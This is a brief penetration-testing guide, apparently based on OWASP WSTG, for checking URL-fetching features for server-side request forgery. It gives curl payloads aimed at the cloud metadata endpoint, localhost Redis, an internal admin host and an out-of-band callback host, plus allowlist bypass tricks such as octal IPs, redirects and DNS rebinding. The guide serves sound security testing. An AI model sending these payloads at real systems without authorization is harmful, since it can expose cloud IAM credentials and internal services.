Testing for Server-Side Request Forgery
Check whether a server-side feature that fetches a URL can be pointed at internal infrastructure or cloud metadata.
Goal
Confirm URL-fetching features (webhooks, PDF generators, image-by-URL, link previews) can’t reach internal or cloud-internal targets.
How to test
Point the feature at internal/metadata targets and a listener you control for blind cases:
curl -s https://example.com/fetch?url=http://169.254.169.254/latest/meta-data/ # cloud metadata
curl -s https://example.com/fetch?url=http://127.0.0.1:6379/ # internal service
curl -s https://example.com/fetch?url=http://10.0.0.5:8080/admin # internal network
# blind / out-of-band confirmation
curl -s https://example.com/fetch?url=http://your-callback.example/ssrf-test
Try bypasses if an allowlist blocks the obvious targets: http://127.1/, decimal/octal IP forms, a redirect chain (http://your-domain/redirect-to-internal), or DNS rebinding.
What to look for
Internal data returned directly, or a hit recorded on your out-of-band listener for the blind case.
Notes
Cloud metadata SSRF (169.254.169.254) is often a path straight to the instance’s IAM credentials — treat a confirmed hit there as critical immediately.
References
- OWASP WSTG-INPV-19 — Testing for Server-Side Request Forgery.